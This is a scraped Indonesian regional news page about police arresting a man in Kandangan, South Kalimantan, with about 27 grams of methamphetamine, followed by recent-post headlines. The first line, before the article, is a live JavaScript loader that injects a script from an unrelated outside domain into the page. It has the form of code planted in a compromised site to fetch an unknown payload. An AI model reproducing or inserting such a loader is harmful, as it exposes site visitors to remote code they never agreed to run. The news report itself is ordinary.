(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

N Warga Baluti Kedapatan Simpan 27 Gram Sabu


KANDANGAN, Polres HSS berhasil mengamankan seorang pria pengedar sabu di Jalan Banyu Barau, Kelurahan Kandangan Barat, Kecamatan Kandangan Kabupaten HSS, Minggu (17/6) sekitar pukul 21.00 Wita

Pelaku diketahui bernama N (48) warga Jalan Kesehatan RT 001/001 Desa Baluti, Kecamatan Kandangan, Kabuapten HSS.

Kasat Narkoba Polres HSS AKP Jatmika SH MH menuturkan, penangkapan tersebut bermula saat pihaknya menerima lanjutan informasi dari masyarakat yang mana pelaku diketahui mengedarkan Narkotika jenis sabu.

“Informasi lanjutan dari masyarakat, bahwa ada seorang pria yang diduga menjadi pengedar narkotika jenis sabu” tuturnya.

Menanggapi informasi tersebut, dengan gerak cepat Anggota Sat Resnarkoba yang di-back up oleh Unit Jatanras dan Kanit Intelkam Polsek Angkinang berhasil mengamankan pelaku di rumah tempat tinggalnya. Setelah berhasil mengamankan pelaku, kemudian Personil melakukan pemeriksaan dan di temukan 1 paket besar Narkotika jenis Sabu dengan berat kotor 15,72 gram yang dibalut menggunakan gumpalan plastik dan lakban yang dimasukkan ke dalam dompet warna hitam, dibungkus menggunakan kotak rokok. N menaruh barang bukti di bawah westafel rumah tempat tinggal pelaku.

Selain itu personil kembali menemukan 2 paket sedang Narkotika jenis sabu seberat  7,55 gram yang diletakan pelaku di atas tempat tidur dibalik seprai dan 7 paket kecil seberat 4,00 gram disembunyikan oleh pelaku di tempat peralatan mandi.

“Pelaku ini pemain baru, baru saja berjualan sabu tersebut. Berdalih latar belakangi keadaan ekonomi yang mendesak,” tambahnya.

Atas penangkapan tersebut pihak kepolisian berhasil mengamankan barang bukti jenis Narkotika jenis sabu dengan berat kotor keseluruhan 27,27 gram.

Kapolres Hulu Sungai Selatan AKBP Rahmat Budi Habdoko SIK mengatakan untuk pelaku sendiri akan dikenakan pasal belapis. “Pelaku akan dijerat dengan pasal 114 jo 112 UU RI No.35 tahun 2009 tentang narkotika dengan ancaman hukuman minimal 4  tahun penjara dan maksimal seumur hidup,” pungkasnya. (rico)

Reporter:Rico
Editor : Abi Zarrin Al Ghifari

Aldi Riduan

Uploader Terpercaya Kanal Kalimantan

Recent Posts

Bawa Sabu 49 Gram, Dua Lelaki Ditangkap di Pemurus Luar

KANALKALIMANTAN.COM, BANJARMASIN - Satuan Reserse Narkoba (Satresnarkoba) Polres Banjarmasin mengungkap kasus peredaran narkotika jenis sabu.… Read More

7 jam ago

Parkir Inap Kawasan Bandara Syamsudin Noor Meningkat saat Libur Nataru

KANALKALIMANTAN.COM, BANJARBARU - Momentum liburan Natal 2024 dan Tahun Baru 2025 menjadi ladang cuan bagi… Read More

13 jam ago

Dr Gustava Yandi Dilantik Menjadi Pj Sekda Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Wali Kota Banjarbaru Aditya Mufti Ariffin resmi melantik dan mengambil sumpah janji… Read More

14 jam ago

Deretan Film Terbaik, Spesial Menemani Akhir Tahunmu Bersama RCTI!

KANALKALIMANTAN.COM - Menyambut akhir tahun yang penuh keseruan dan momen spesial bersama keluarga dan teman… Read More

16 jam ago

Wujudkan Mimpi dalam Satu Malam, Saksikan Dangdut Mania Dadakan (DMD) Panggung Rezeki di MNCTV

KANALKALIMANTAN.COM - Ajang pencarian bakat Dangdut Mania Dadakan (DMD) Panggung Rezeki selalu memberikan warna baru… Read More

16 jam ago

Rumah Tinggal Arang, 13 Karung Padi Nenek Asniah Ikut Ludes

KANALKALIMANTAN.COM, BANJARMASIN - Kebakaran permukiman penduduk di Jalan Barito Hulu, Kelurahan Pelambuan, Kecamatan Banjarmasin Barat,… Read More

16 jam ago

This website uses cookies.